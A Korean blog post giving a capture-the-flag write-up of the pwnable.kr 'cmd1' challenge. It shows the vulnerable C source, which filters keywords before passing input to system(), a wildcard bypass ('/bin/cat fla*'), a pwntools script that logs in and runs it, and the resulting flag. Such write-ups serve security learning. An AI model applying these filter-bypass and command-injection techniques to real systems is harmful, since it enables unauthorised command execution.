일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- system hacking
- Operating System
- Spring Framework
- Buffer Overflow
- 운영체제
- SQL
- Spring MVC
- PWN
- webhacking
- 네트워크
- Shell code
- Payload
- Lord of BOF
- 워게임
- Pwnable.kr
- 정보보안기사
- 웹해킹
- webhacking.kr
- hacking
- wargame
- 정보처리기사 실기
- LOB
- pwnable
- stack overflow
- 정보보안기사 실기
- System
- 해킹
- Spring
- OS
- BOF
- Today
- Total
DongDD's IT
[pwnable.kr] cmd1 본문
[pwnable.kr] cmd1
Problem
이번 문제에서는 Linux에 존재하는 환경 변수가 무엇인지 묻고 있었다.
아마 환경 변수를 이용하는 문제인 것 같았다.
ssh로 문제에 접속해보았다.
cmd1 실행 파일과 cmd1.c 소스 코드 파일, flag 파일 3가지가 있었다.
먼저 소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/thankyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; } | cs |
이번 문제의 소스 코드는 굉장히 짧게 구성되어있었다.
먼저 main에서는 "PATH=/thankyouvermuch"라는 환경변수를 putenv()함수를 이용해 넣어준다.
그 후에 argv[1]을 filter()함수의 인자로 넣어주고 return 값에 따라 프로그램이 종료될 지, system(argv[1])이 실행될지 정해진다.
fliter()함수에서는 인자로 받은 argv[1] string에 "flag", "sh", "tmp"가 있는지 확인하고 해당 문자열에 일치하는 문자열이 존재한다면 양수 값을 return해주고 일치하지 않는다면 0을 return해주게 되어있었다.
Solution
환경 변수가 무엇인지 묻는 문제였지만 환경 변수를 사용할 필요 없이 문제를 쉽게 해결할 수 있었다.
문제의 목적은 flag 파일의 내용을 보는 것이기 때문에 sh와 tmp는 사용할 필요없이 cat을 실행시키고 flag를 다른 문자로 대체해 실행할 수 있다면 flag의 필터링에 걸리지 않고 flag 파일의 내용을 볼 수 있다.
bash에서 특수 기호로 사용되는 *(와일드카드)를 이용하여 문제를 해결할 수 있었다.
f*, fl*, fla*과 같이 f로 시작하는 파일, fl로 시작하는 파일, fla로 시작하는 파일 등 와일드카드인 *을 사용하여 cmd1폴더에 있는 프로그램 중 flag를 의미하는 문자열로 대체할 수 있었다. 이렇게 생성한 문자열을 cat과 함께 cmd1 프로그램의 인자로 넣어주어 flag를 쉽게 획득할 수 있었다.
************** Answer & Flag **************
직접 실행
Python SSH Code(pwntool)
1 2 3 4 5 6 7 8 9 10 | from pwn import * p = ssh(user="cmd1",host="pwnable.kr",port=2222,password="guest") ar = [str(i) for i in range(2)] ar[1] = "/bin/cat fla*" s = p.process(executable="/home/cmd1/cmd1",argv=ar) print s.recv() | cs |
Flag : mommy now I get what PATH environment is for :)
'Wargame > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] cmd2 (0) | 2018.08.25 |
---|---|
[pwnable.kr] lotto (0) | 2018.07.14 |
[pwnable.kr] blackjack (0) | 2018.06.28 |
[pwnable.kr] coin1 (0) | 2018.06.26 |
[pwnable.kr] shellshock (0) | 2018.06.18 |